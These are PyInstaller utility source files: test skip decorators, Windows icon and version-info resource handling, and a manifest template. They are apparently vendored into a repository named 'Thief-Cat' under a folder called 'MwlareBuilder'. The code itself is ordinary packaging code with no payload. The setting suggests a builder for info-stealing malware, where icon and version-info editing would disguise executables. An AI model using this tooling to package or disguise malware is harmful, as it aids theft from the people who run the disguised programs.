ThiefCat_assets/MwlareBuilder/utils/run_tests.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Decorators for skipping PyInstaller tests when specific requirements are not met.
"""

import distutils.ccompiler
import inspect
import os
import shutil
import textwrap

import pytest
import sys

from PyInstaller.compat import is_win
from PyInstaller.utils.hooks import check_requirement

# Wrap some pytest decorators to be consistent in tests.
parametrize = pytest.mark.parametrize
skipif = pytest.mark.skipif
xfail = pytest.mark.xfail


def _check_for_compiler():
    import tempfile

    # Change to some tempdir since cc.has_function() would compile into the current directory, leaving garbage.
    old_wd = os.getcwd()
    tmp = tempfile.mkdtemp()
    os.chdir(tmp)
    cc = distutils.ccompiler.new_compiler()
    if is_win:
        try:
            cc.initialize()
            has_compiler = True
        # This error is raised on Windows if a compiler can't be found.
        except distutils.errors.DistutilsPlatformError:
            has_compiler = False
    else:
        # The C standard library contains the ``clock`` function. Use that to determine if a compiler is installed. This
        # does not work on Windows::
        #
        #   Users\bjones\AppData\Local\Temp\a.out.exe.manifest : general error
        #   c1010070: Failed to load and parse the manifest. The system cannot
        #   find the file specified.
        has_compiler = cc.has_function('clock', includes=['time.h'])
    os.chdir(old_wd)
    # TODO: Find a way to remove the generated clockXXXX.c file, too
    shutil.rmtree(tmp)
    return has_compiler


# A decorator to skip tests if a C compiler is not detected.
has_compiler = _check_for_compiler()
skipif_no_compiler = skipif(not has_compiler, reason="Requires a C compiler")

skip = pytest.mark.skip


def importorskip(package: str):
    """
    Skip a decorated test if **package** is not importable.

    Arguments:
        package:
            The name of the module. May be anything that is allowed after the ``import`` keyword. e.g. 'numpy' or
            'PIL.Image'.
    Returns:
        A pytest marker which either skips the test or does nothing.

    This function intentionally does not import the module. Doing so can lead to `sys.path` and `PATH` being
    polluted, which then breaks later builds.
    """
    if not importable(package):
        return pytest.mark.skip(f"Can't import '{package}'.")
    return pytest.mark.skipif(False, reason=f"Don't skip: '{package}' is importable.")


def importable(package: str):
    from importlib.util import find_spec

    # The find_spec() function is used by the importlib machinery to locate a module to import. Using it finds the
    # module but does not run it. Unfortunately, it does import parent modules to check submodules.
    if "." in package:
        # Using subprocesses is slow. If the top level module doesn't exist then we can skip it.
        if not importable(package.split(".")[0]):
            return False
        # This is a submodule, import it in isolation.
        from subprocess import DEVNULL, run
        return run([sys.executable, "-c", "import " + package], stdout=DEVNULL, stderr=DEVNULL).returncode == 0

    return find_spec(package) is not None


def requires(requirement: str):
    """
    Mark a test to be skipped if **requirement** is not satisfied.

    Args:
        requirement:
            A distribution name and optional version specifier(s). See :func:`PyInstaller.utils.hooks.check_requirement`
            which this argument is forwarded to.
    Returns:
        Either a skip marker or a dummy marker.

    This function operates on distribution metadata, and does not import any modules.
    """
    if check_requirement(requirement):
        return pytest.mark.skipif(False, reason=f"Don't skip: '{requirement}' is satisfied.")
    else:
        return pytest.mark.skip(f"Requires {requirement}.")


def gen_sourcefile(tmpdir, source, test_id=None):
    """
    Generate a source file for testing.

    The source will be written into a file named like the test-function. This file will then be passed to
    `test_script`. If you need other related file, e.g. as `.toc`-file for testing the content, put it at at the
    normal place. Just mind to take the basnename from the test-function's name.

    :param script: Source code to create executable from. This will be saved into a temporary file which is then
                   passed on to `test_script`.

    :param test_id: Test-id for parametrized tests. If given, it will be appended to the script filename,
                    separated by two underscores.

    Ensure that the caller of `test_source` is in a UTF-8 encoded file with the correct '# -*- coding: utf-8 -*-'
    marker.
    """
    testname = inspect.stack()[1][3]
    if test_id:
        # For parametrized test append the test-id.
        testname = testname + '__' + test_id

    # Periods are not allowed in Python module names.
    testname = testname.replace('.', '_')
    scriptfile = tmpdir / (testname + '.py')
    source = textwrap.dedent(source)
    with scriptfile.open('w', encoding='utf-8') as ofh:
        print('# -*- coding: utf-8 -*-', file=ofh)
        print(source, file=ofh)
    return scriptfile

ThiefCat_assets/MwlareBuilder/utils/tests.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
The code in this module supports the --icon parameter on Windows.
(For --icon support under Mac OS, see building/osx.py.)

The only entry point, called from api.py, is CopyIcons(), below. All the elaborate structure of classes that follows
is used to support the operation of CopyIcons_FromIco(). None of these classes and globals are referenced outside
this module.
"""

import os.path
import struct

import PyInstaller.log as logging
from PyInstaller import config
from PyInstaller.compat import pywintypes, win32api
from PyInstaller.building.icon import normalize_icon_type

logger = logging.getLogger(__name__)

RT_ICON = 3
RT_GROUP_ICON = 14
LOAD_LIBRARY_AS_DATAFILE = 2


class Structure:
    def __init__(self):
        size = self._sizeInBytes = struct.calcsize(self._format_)
        self._fields_ = list(struct.unpack(self._format_, b'\000' * size))
        indexes = self._indexes_ = {}
        for i, nm in enumerate(self._names_):
            indexes[nm] = i

    def dump(self):
        logger.info("DUMP of %s", self)
        for name in self._names_:
            if not name.startswith('_'):
                logger.info("%20s = %s", name, getattr(self, name))
        logger.info("")

    def __getattr__(self, name):
        if name in self._names_:
            index = self._indexes_[name]
            return self._fields_[index]
        try:
            return self.__dict__[name]
        except KeyError as e:
            raise AttributeError(name) from e

    def __setattr__(self, name, value):
        if name in self._names_:
            index = self._indexes_[name]
            self._fields_[index] = value
        else:
            self.__dict__[name] = value

    def tostring(self):
        return struct.pack(self._format_, *self._fields_)

    def fromfile(self, file):
        data = file.read(self._sizeInBytes)
        self._fields_ = list(struct.unpack(self._format_, data))


class ICONDIRHEADER(Structure):
    _names_ = "idReserved", "idType", "idCount"
    _format_ = "hhh"


class ICONDIRENTRY(Structure):
    _names_ = ("bWidth", "bHeight", "bColorCount", "bReserved", "wPlanes", "wBitCount", "dwBytesInRes", "dwImageOffset")
    _format_ = "bbbbhhii"


class GRPICONDIR(Structure):
    _names_ = "idReserved", "idType", "idCount"
    _format_ = "hhh"


class GRPICONDIRENTRY(Structure):
    _names_ = ("bWidth", "bHeight", "bColorCount", "bReserved", "wPlanes", "wBitCount", "dwBytesInRes", "nID")
    _format_ = "bbbbhhih"


# An IconFile instance is created for each .ico file given.
class IconFile:
    def __init__(self, path):
        self.path = path
        try:
            # The path is from the user parameter, don't trust it.
            file = open(self.path, "rb")
        except OSError:
            # The icon file can't be opened for some reason. Stop the
            # program with an informative message.
            raise SystemExit(f'Unable to open icon file {self.path}!')
        with file:
            self.entries = []
            self.images = []
            header = self.header = ICONDIRHEADER()
            header.fromfile(file)
            for i in range(header.idCount):
                entry = ICONDIRENTRY()
                entry.fromfile(file)
                self.entries.append(entry)
            for e in self.entries:
                file.seek(e.dwImageOffset, 0)
                self.images.append(file.read(e.dwBytesInRes))

    def grp_icon_dir(self):
        return self.header.tostring()

    def grp_icondir_entries(self, id=1):
        data = b''
        for entry in self.entries:
            e = GRPICONDIRENTRY()
            for n in e._names_[:-1]:
                setattr(e, n, getattr(entry, n))
            e.nID = id
            id = id + 1
            data = data + e.tostring()
        return data


def CopyIcons_FromIco(dstpath, srcpath, id=1):
    """
    Use the Win API UpdateResource facility to apply the icon resource(s) to the .exe file.

    :param str dstpath: absolute path of the .exe file being built.
    :param str srcpath: list of 1 or more .ico file paths
    """
    icons = map(IconFile, srcpath)
    logger.debug("Copying icons from %s", srcpath)

    hdst = win32api.BeginUpdateResource(dstpath, 0)

    iconid = 1
    # Each step in the following enumerate() will instantiate an IconFile object, as a result of deferred execution
    # of the map() above.
    for i, f in enumerate(icons):
        data = f.grp_icon_dir()
        data = data + f.grp_icondir_entries(iconid)
        win32api.UpdateResource(hdst, RT_GROUP_ICON, i + 1, data)
        logger.debug("Writing RT_GROUP_ICON %d resource with %d bytes", i + 1, len(data))
        for data in f.images:
            win32api.UpdateResource(hdst, RT_ICON, iconid, data)
            logger.debug("Writing RT_ICON %d resource with %d bytes", iconid, len(data))
            iconid = iconid + 1

    win32api.EndUpdateResource(hdst, 0)


def CopyIcons(dstpath, srcpath):
    """
    Called from building/api.py to handle icons. If the input was by --icon on the command line, srcpath is a single
    string. However, it is possible to modify the spec file adding icon=['foo.ico','bar.ico'] to the EXE() statement.
    In that case, srcpath is a list of strings.

    The string format is either path-to-.ico or path-to-.exe,n for n an integer resource index in the .exe. In either
    case, the path can be relative or absolute.
    """

    if isinstance(srcpath, str):
        # Just a single string, make it a one-element list.
        srcpath = [srcpath]

    def splitter(s):
        """
        Convert "pathname" to tuple ("pathname", None)
        Convert "pathname,n" to tuple ("pathname", n)
        """
        try:
            srcpath, index = s.split(',')
            return srcpath.strip(), int(index)
        except ValueError:
            return s, None

    # split all the items in the list into tuples as above.
    srcpath = list(map(splitter, srcpath))

    if len(srcpath) > 1:
        # More than one icon source given. We currently handle multiple icons by calling CopyIcons_FromIco(), which only
        # allows .ico, but will convert to that format if needed.
        #
        # Note that a ",index" on a .ico is just ignored in the single or multiple case.
        srcs = []
        for s in srcpath:
            srcs.append(normalize_icon_type(s[0], ("ico",), "ico", config.CONF["workpath"]))
        return CopyIcons_FromIco(dstpath, srcs)

    # Just one source given.
    srcpath, index = srcpath[0]

    # Makes sure the icon exists and attempts to convert to the proper format if applicable
    srcpath = normalize_icon_type(srcpath, ("exe", "ico"), "ico", config.CONF["workpath"])

    srcext = os.path.splitext(srcpath)[1]

    # Handle the simple case of foo.ico, ignoring any index.
    if srcext.lower() == '.ico':
        return CopyIcons_FromIco(dstpath, [srcpath])

    # Single source is not .ico, presumably it is .exe (and if not, some error will occur).
    if index is not None:
        logger.debug("Copying icon from %s, %d", srcpath, index)
    else:
        logger.debug("Copying icons from %s", srcpath)

    try:
        # Attempt to load the .ico or .exe containing the icon into memory using the same mechanism as if it were a DLL.
        # If this fails for any reason (for example if the file does not exist or is not a .ico/.exe) then LoadLibraryEx
        # returns a null handle and win32api raises a unique exception with a win error code and a string.
        hsrc = win32api.LoadLibraryEx(srcpath, 0, LOAD_LIBRARY_AS_DATAFILE)
    except pywintypes.error as W32E:
        # We could continue with no icon (i.e., just return), but it seems best to terminate the build with a message.
        raise SystemExit(
            "Unable to load icon file {}\n    {} (Error code {})".format(srcpath, W32E.strerror, W32E.winerror)
        )
    hdst = win32api.BeginUpdateResource(dstpath, 0)
    if index is None:
        grpname = win32api.EnumResourceNames(hsrc, RT_GROUP_ICON)[0]
    elif index >= 0:
        grpname = win32api.EnumResourceNames(hsrc, RT_GROUP_ICON)[index]
    else:
        grpname = -index
    data = win32api.LoadResource(hsrc, RT_GROUP_ICON, grpname)
    win32api.UpdateResource(hdst, RT_GROUP_ICON, grpname, data)
    for iconname in win32api.EnumResourceNames(hsrc, RT_ICON):
        data = win32api.LoadResource(hsrc, RT_ICON, iconname)
        win32api.UpdateResource(hdst, RT_ICON, iconname, data)
    win32api.FreeLibrary(hsrc)
    win32api.EndUpdateResource(hdst, 0)


if __name__ == "__main__":
    import sys

    dstpath = sys.argv[1]
    srcpath = sys.argv[2:]
    CopyIcons(dstpath, srcpath)

ThiefCat_assets/MwlareBuilder/utils/win32/icon.py
KSCH-58/Thief-Cat
# -*- coding: utf-8 -*-
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import struct

import pefile

from PyInstaller.compat import win32api


def pefile_check_control_flow_guard(filename):
    """
    Checks if the specified PE file has CFG (Control Flow Guard) enabled.

    Parameters
    ----------
    filename : str
        Path to the PE file to inspect.

    Returns
    ----------
    bool
        True if file is a PE file with CFG enabled. False if CFG is not enabled or if file could not be processed using
        the pefile library.
    """
    try:
        pe = pefile.PE(filename, fast_load=True)
        # https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
        # IMAGE_DLLCHARACTERISTICS_GUARD_CF = 0x4000
        return bool(pe.OPTIONAL_HEADER.DllCharacteristics & 0x4000)
    except Exception:
        return False


# Ensures no code from the executable is executed.
LOAD_LIBRARY_AS_DATAFILE = 2


def getRaw(text):
    """
    Encodes text as UTF-16LE (Microsoft 'Unicode') for use in structs.
    """
    return text.encode('UTF-16LE')


def read_version_info_from_executable(exe_filename):
    """
    Read the version information structure from the given executable's resources, and return it as an instance of
    `VSVersionInfo` structure.
    """
    h = win32api.LoadLibraryEx(exe_filename, 0, LOAD_LIBRARY_AS_DATAFILE)
    res = win32api.EnumResourceNames(h, pefile.RESOURCE_TYPE['RT_VERSION'])
    if not len(res):
        return None
    data = win32api.LoadResource(h, pefile.RESOURCE_TYPE['RT_VERSION'], res[0])
    info = VSVersionInfo()
    info.fromRaw(data)
    win32api.FreeLibrary(h)
    return info


def nextDWord(offset):
    """
    Align `offset` to the next 4-byte boundary.
    """
    return ((offset + 3) >> 2) << 2


class VSVersionInfo:
    """
    WORD  wLength;        // length of the VS_VERSION_INFO structure
    WORD  wValueLength;   // length of the Value member
    WORD  wType;          // 1 means text, 0 means binary
    WCHAR szKey[];        // Contains the Unicode string "VS_VERSION_INFO".
    WORD  Padding1[];
    VS_FIXEDFILEINFO Value;
    WORD  Padding2[];
    WORD  Children[];     // zero or more StringFileInfo or VarFileInfo
                          // structures (or both) that are children of the
                          // current version structure.
    """
    def __init__(self, ffi=None, kids=None):
        self.ffi = ffi
        self.kids = kids or []

    def fromRaw(self, data):
        i, (sublen, vallen, wType, nm) = parseCommon(data)
        #vallen is length of the ffi, typ is 0, nm is 'VS_VERSION_INFO'.
        i = nextDWord(i)
        # Now a VS_FIXEDFILEINFO
        self.ffi = FixedFileInfo()
        j = self.ffi.fromRaw(data, i)
        i = j
        while i < sublen:
            j = i
            i, (csublen, cvallen, ctyp, nm) = parseCommon(data, i)
            if nm.strip() == 'StringFileInfo':
                sfi = StringFileInfo()
                k = sfi.fromRaw(csublen, cvallen, nm, data, i, j + csublen)
                self.kids.append(sfi)
                i = k
            else:
                vfi = VarFileInfo()
                k = vfi.fromRaw(csublen, cvallen, nm, data, i, j + csublen)
                self.kids.append(vfi)
                i = k
            i = j + csublen
            i = nextDWord(i)
        return i

    def toRaw(self):
        raw_name = getRaw('VS_VERSION_INFO')
        rawffi = self.ffi.toRaw()
        vallen = len(rawffi)
        typ = 0
        sublen = 6 + len(raw_name) + 2
        pad = b''
        if sublen % 4:
            pad = b'\000\000'
        sublen = sublen + len(pad) + vallen
        pad2 = b''
        if sublen % 4:
            pad2 = b'\000\000'
        tmp = b''.join([kid.toRaw() for kid in self.kids])
        sublen = sublen + len(pad2) + len(tmp)
        return struct.pack('hhh', sublen, vallen, typ) + raw_name + b'\000\000' + pad + rawffi + pad2 + tmp

    def __eq__(self, other):
        return self.toRaw() == other

    def __str__(self, indent=''):
        indent = indent + '  '
        tmp = [kid.__str__(indent + '  ') for kid in self.kids]
        tmp = ', \n'.join(tmp)
        return '\n'.join([
            "# UTF-8",
            "#",
            "# For more details about fixed file info 'ffi' see:",
            "# http://msdn.microsoft.com/en-us/library/ms646997.aspx",
            "VSVersionInfo(",
            indent + f"ffi={self.ffi.__str__(indent)},",
            indent + "kids=[",
            tmp,
            indent + "]",
            ")",
        ])

    def __repr__(self):
        return "versioninfo.VSVersionInfo(ffi=%r, kids=%r)" % (self.ffi, self.kids)


def parseCommon(data, start=0):
    i = start + 6
    (wLength, wValueLength, wType) = struct.unpack('3h', data[start:i])
    i, text = parseUString(data, i, i + wLength)
    return i, (wLength, wValueLength, wType, text)


def parseUString(data, start, limit):
    i = start
    while i < limit:
        if data[i:i + 2] == b'\000\000':
            break
        i += 2
    text = data[start:i].decode('UTF-16LE')
    i += 2
    return i, text


class FixedFileInfo:
    """
    DWORD dwSignature;        //Contains the value 0xFEEFO4BD
    DWORD dwStrucVersion;     // binary version number of this structure.
                              // The high-order word of this member contains
                              // the major version number, and the low-order
                              // word contains the minor version number.
    DWORD dwFileVersionMS;    // most significant 32 bits of the file's binary
                              // version number
    DWORD dwFileVersionLS;    //
    DWORD dwProductVersionMS; // most significant 32 bits of the binary version
                              // number of the product with which this file was
                              // distributed
    DWORD dwProductVersionLS; //
    DWORD dwFileFlagsMask;    // bitmask that specifies the valid bits in
                              // dwFileFlags. A bit is valid only if it was
                              // defined when the file was created.
    DWORD dwFileFlags;        // VS_FF_DEBUG, VS_FF_PATCHED etc.
    DWORD dwFileOS;           // VOS_NT, VOS_WINDOWS32 etc.
    DWORD dwFileType;         // VFT_APP etc.
    DWORD dwFileSubtype;      // 0 unless VFT_DRV or VFT_FONT or VFT_VXD
    DWORD dwFileDateMS;
    DWORD dwFileDateLS;
    """
    def __init__(
        self,
        filevers=(0, 0, 0, 0),
        prodvers=(0, 0, 0, 0),
        mask=0x3f,
        flags=0x0,
        OS=0x40004,
        fileType=0x1,
        subtype=0x0,
        date=(0, 0)
    ):
        self.sig = 0xfeef04bd
        self.strucVersion = 0x10000
        self.fileVersionMS = (filevers[0] << 16) | (filevers[1] & 0xffff)
        self.fileVersionLS = (filevers[2] << 16) | (filevers[3] & 0xffff)
        self.productVersionMS = (prodvers[0] << 16) | (prodvers[1] & 0xffff)
        self.productVersionLS = (prodvers[2] << 16) | (prodvers[3] & 0xffff)
        self.fileFlagsMask = mask
        self.fileFlags = flags
        self.fileOS = OS
        self.fileType = fileType
        self.fileSubtype = subtype
        self.fileDateMS = date[0]
        self.fileDateLS = date[1]

    def fromRaw(self, data, i):
        (
            self.sig,
            self.strucVersion,
            self.fileVersionMS,
            self.fileVersionLS,
            self.productVersionMS,
            self.productVersionLS,
            self.fileFlagsMask,
            self.fileFlags,
            self.fileOS,
            self.fileType,
            self.fileSubtype,
            self.fileDateMS,
            self.fileDateLS,
        ) = struct.unpack('13L', data[i:i + 52])
        return i + 52

    def toRaw(self):
        return struct.pack(
            '13L',
            self.sig,
            self.strucVersion,
            self.fileVersionMS,
            self.fileVersionLS,
            self.productVersionMS,
            self.productVersionLS,
            self.fileFlagsMask,
            self.fileFlags,
            self.fileOS,
            self.fileType,
            self.fileSubtype,
            self.fileDateMS,
            self.fileDateLS,
        )

    def __eq__(self, other):
        return self.toRaw() == other

    def __str__(self, indent=''):
        fv = (
            self.fileVersionMS >> 16, self.fileVersionMS & 0xffff,
            self.fileVersionLS >> 16, self.fileVersionLS & 0xffff,
        )  # yapf: disable
        pv = (
            self.productVersionMS >> 16, self.productVersionMS & 0xffff,
            self.productVersionLS >> 16, self.productVersionLS & 0xffff,
        )  # yapf: disable
        fd = (self.fileDateMS, self.fileDateLS)
        tmp = [
            'FixedFileInfo(',
            '# filevers and prodvers should be always a tuple with four items: (1, 2, 3, 4)',
            '# Set not needed items to zero 0.',
            'filevers=%s,' % (fv,),
            'prodvers=%s,' % (pv,),
            "# Contains a bitmask that specifies the valid bits 'flags'r",
            'mask=%s,' % hex(self.fileFlagsMask),
            '# Contains a bitmask that specifies the Boolean attributes of the file.',
            'flags=%s,' % hex(self.fileFlags),
            '# The operating system for which this file was designed.',
            '# 0x4 - NT and there is no need to change it.',
            'OS=%s,' % hex(self.fileOS),
            '# The general type of file.',
            '# 0x1 - the file is an application.',
            'fileType=%s,' % hex(self.fileType),
            '# The function of the file.',
            '# 0x0 - the function is not defined for this fileType',
            'subtype=%s,' % hex(self.fileSubtype),
            '# Creation date and time stamp.',
            'date=%s' % (fd,),
            ')',
        ]
        return f'\n{indent}  '.join(tmp)

    def __repr__(self):
        fv = (
            self.fileVersionMS >> 16, self.fileVersionMS & 0xffff,
            self.fileVersionLS >> 16, self.fileVersionLS & 0xffff,
        )  # yapf: disable
        pv = (
            self.productVersionMS >> 16, self.productVersionMS & 0xffff,
            self.productVersionLS >> 16, self.productVersionLS & 0xffff,
        )  # yapf: disable
        fd = (self.fileDateMS, self.fileDateLS)
        return (
            'versioninfo.FixedFileInfo(filevers=%r, prodvers=%r, '
            'mask=0x%x, flags=0x%x, OS=0x%x, '
            'fileType=%r, subtype=0x%x, date=%r)' %
            (fv, pv, self.fileFlagsMask, self.fileFlags, self.fileOS, self.fileType, self.fileSubtype, fd)
        )


class StringFileInfo:
    """
    WORD        wLength;      // length of the version resource
    WORD        wValueLength; // length of the Value member in the current
                              // VS_VERSION_INFO structure
    WORD        wType;        // 1 means text, 0 means binary
    WCHAR       szKey[];      // Contains the Unicode string 'StringFileInfo'.
    WORD        Padding[];
    StringTable Children[];   // list of zero or more String structures
    """
    def __init__(self, kids=None):
        self.name = 'StringFileInfo'
        self.kids = kids or []

    def fromRaw(self, sublen, vallen, name, data, i, limit):
        self.name = name
        while i < limit:
            st = StringTable()
            j = st.fromRaw(data, i, limit)
            self.kids.append(st)
            i = j
        return i

    def toRaw(self):
        raw_name = getRaw(self.name)
        vallen = 0
        typ = 1
        sublen = 6 + len(raw_name) + 2
        pad = b''
        if sublen % 4:
            pad = b'\000\000'
        tmp = b''.join([kid.toRaw() for kid in self.kids])
        sublen = sublen + len(pad) + len(tmp)
        return struct.pack('hhh', sublen, vallen, typ) + raw_name + b'\000\000' + pad + tmp

    def __eq__(self, other):
        return self.toRaw() == other

    def __str__(self, indent=''):
        new_indent = indent + '  '
        tmp = ', \n'.join(kid.__str__(new_indent) for kid in self.kids)
        return f'{indent}StringFileInfo(\n{new_indent}[\n{tmp}\n{new_indent}])'

    def __repr__(self):
        return 'versioninfo.StringFileInfo(%r)' % self.kids


class StringTable:
    """
    WORD   wLength;
    WORD   wValueLength;
    WORD   wType;
    WCHAR  szKey[];
    String Children[];    // list of zero or more String structures.
    """
    def __init__(self, name=None, kids=None):
        self.name = name or ''
        self.kids = kids or []

    def fromRaw(self, data, i, limit):
        i, (cpsublen, cpwValueLength, cpwType, self.name) = parseCodePage(data, i, limit)  # should be code page junk
        i = nextDWord(i)
        while i < limit:
            ss = StringStruct()
            j = ss.fromRaw(data, i, limit)
            i = j
            self.kids.append(ss)
            i = nextDWord(i)
        return i

    def toRaw(self):
        raw_name = getRaw(self.name)
        vallen = 0
        typ = 1
        sublen = 6 + len(raw_name) + 2
        tmp = []
        for kid in self.kids:
            raw = kid.toRaw()
            if len(raw) % 4:
                raw = raw + b'\000\000'
            tmp.append(raw)
        tmp = b''.join(tmp)
        sublen += len(tmp)
        return struct.pack('hhh', sublen, vallen, typ) + raw_name + b'\000\000' + tmp

    def __eq__(self, other):
        return self.toRaw() == other

    def __str__(self, indent=''):
        new_indent = indent + '  '
        tmp = (',\n' + new_indent).join(str(kid) for kid in self.kids)
        return f"{indent}StringTable(\n{new_indent}'{self.name}',\n{new_indent}[{tmp}])"

    def __repr__(self):
        return 'versioninfo.StringTable(%r, %r)' % (self.name, self.kids)


class StringStruct:
    """
    WORD   wLength;
    WORD   wValueLength;
    WORD   wType;
    WCHAR  szKey[];
    WORD   Padding[];
    String Value[];
    """
    def __init__(self, name=None, val=None):
        self.name = name or ''
        self.val = val or ''

    def fromRaw(self, data, i, limit):
        i, (sublen, vallen, typ, self.name) = parseCommon(data, i)
        limit = i + sublen
        i = nextDWord(i)
        i, self.val = parseUString(data, i, limit)
        return i

    def toRaw(self):
        raw_name = getRaw(self.name)
        raw_val = getRaw(self.val)
        # TODO: document the size of vallen and sublen.
        vallen = len(self.val) + 1  # Number of (wide-)characters, not bytes!
        typ = 1
        sublen = 6 + len(raw_name) + 2
        pad = b''
        if sublen % 4:
            pad = b'\000\000'
        sublen = sublen + len(pad) + (vallen * 2)
        return struct.pack('hhh', sublen, vallen, typ) + raw_name + b'\000\000' + pad + raw_val + b'\000\000'

    def __eq__(self, other):
        return self.toRaw() == other

    def __str__(self, indent=''):
        return "StringStruct(%r, %r)" % (self.name, self.val)

    def __repr__(self):
        return 'versioninfo.StringStruct(%r, %r)' % (self.name, self.val)


def parseCodePage(data, i, limit):
    i, (sublen, wValueLength, wType, nm) = parseCommon(data, i)
    return i, (sublen, wValueLength, wType, nm)


class VarFileInfo:
    """
    WORD  wLength;        // length of the version resource
    WORD  wValueLength;   // length of the Value member in the current
                          // VS_VERSION_INFO structure
    WORD  wType;          // 1 means text, 0 means binary
    WCHAR szKey[];        // Contains the Unicode string 'VarFileInfo'.
    WORD  Padding[];
    Var   Children[];     // list of zero or more Var structures
    """
    def __init__(self, kids=None):
        self.kids = kids or []

    def fromRaw(self, sublen, vallen, name, data, i, limit):
        self.sublen = sublen
        self.vallen = vallen
        self.name = name
        i = nextDWord(i)
        while i < limit:
            vs = VarStruct()
            j = vs.fromRaw(data, i, limit)
            self.kids.append(vs)
            i = j
        return i

    def toRaw(self):
        self.vallen = 0
        self.wType = 1
        self.name = 'VarFileInfo'
        raw_name = getRaw(self.name)
        sublen = 6 + len(raw_name) + 2
        pad = b''
        if sublen % 4:
            pad = b'\000\000'
        tmp = b''.join([kid.toRaw() for kid in self.kids])
        self.sublen = sublen + len(pad) + len(tmp)
        return struct.pack('hhh', self.sublen, self.vallen, self.wType) + raw_name + b'\000\000' + pad + tmp

    def __eq__(self, other):
        return self.toRaw() == other

    def __str__(self, indent=''):
        return indent + "VarFileInfo([%s])" % ', '.join(str(kid) for kid in self.kids)

    def __repr__(self):
        return 'versioninfo.VarFileInfo(%r)' % self.kids


class VarStruct:
    """
    WORD  wLength;        // length of the version resource
    WORD  wValueLength;   // length of the Value member in the current
                          // VS_VERSION_INFO structure
    WORD  wType;          // 1 means text, 0 means binary
    WCHAR szKey[];        // Contains the Unicode string 'Translation'
                          // or a user-defined key string value
    WORD  Padding[];      //
    WORD  Value[];        // list of one or more values that are language
                          // and code-page identifiers
    """
    def __init__(self, name=None, kids=None):
        self.name = name or ''
        self.kids = kids or []

    def fromRaw(self, data, i, limit):
        i, (self.sublen, self.wValueLength, self.wType, self.name) = parseCommon(data, i)
        i = nextDWord(i)
        for j in range(0, self.wValueLength, 2):
            kid = struct.unpack('h', data[i:i + 2])[0]
            self.kids.append(kid)
            i += 2
        return i

    def toRaw(self):
        self.wValueLength = len(self.kids) * 2
        self.wType = 0
        raw_name = getRaw(self.name)
        sublen = 6 + len(raw_name) + 2
        pad = b''
        if sublen % 4:
            pad = b'\000\000'
        self.sublen = sublen + len(pad) + self.wValueLength
        tmp = b''.join([struct.pack('h', kid) for kid in self.kids])
        return struct.pack('hhh', self.sublen, self.wValueLength, self.wType) + raw_name + b'\000\000' + pad + tmp

    def __eq__(self, other):
        return self.toRaw() == other

    def __str__(self, indent=''):
        return "VarStruct('%s', %r)" % (self.name, self.kids)

    def __repr__(self):
        return 'versioninfo.VarStruct(%r, %r)' % (self.name, self.kids)


def load_version_info_from_text_file(filename):
    """
    Load the `VSVersionInfo` structure from its string-based (`VSVersionInfo.__str__`) serialization by reading the
    text from the file and running it through `eval()`.
    """

    # Read and parse the version file. It may have a byte order marker or encoding cookie - respect it if it does.
    import PyInstaller.utils.misc as miscutils
    with open(filename, 'rb') as fp:
        text = miscutils.decode(fp.read())

    # Deserialize via eval()
    try:
        info = eval(text)
    except Exception as e:
        raise ValueError("Failed to deserialize VSVersionInfo from text-based representation!") from e

    # Sanity check
    assert isinstance(info, VSVersionInfo), \
        f"Loaded incompatible structure type! Expected VSVersionInfo, got: {type(info)!r}"

    return info


def write_version_info_to_executable(exe_filename, info):
    assert isinstance(info, VSVersionInfo)

    # Remember overlay
    pe = pefile.PE(exe_filename, fast_load=True)
    overlay_before = pe.get_overlay()
    pe.close()

    hdst = win32api.BeginUpdateResource(exe_filename, 0)
    win32api.UpdateResource(hdst, pefile.RESOURCE_TYPE['RT_VERSION'], 1, info.toRaw())
    win32api.EndUpdateResource(hdst, 0)

    if overlay_before:
        # Check if the overlay is still present
        pe = pefile.PE(exe_filename, fast_load=True)
        overlay_after = pe.get_overlay()
        pe.close()

        # If the update removed the overlay data, re-append it
        if not overlay_after:
            with open(exe_filename, 'ab') as exef:
                exef.write(overlay_before)

ThiefCat_assets/MwlareBuilder/utils/win32/versioninfo.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
import xml.dom
import xml.dom.minidom

#- Relevant constants from Windows headers
# Manifest resource code
RT_MANIFEST = 24

# Resource IDs (names) for manifest.
# See: https://www.gamedev.net/blogs/entry/2154553-manifest-embedding-and-activation
CREATEPROCESS_MANIFEST_RESOURCE_ID = 1
ISOLATIONAWARE_MANIFEST_RESOURCE_ID = 2

LANG_NEUTRAL = 0

#- Default application manifest template, based on the one found in python executable.

_DEFAULT_MANIFEST_XML = \
b"""<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
    <application>
      <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>
      <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS>
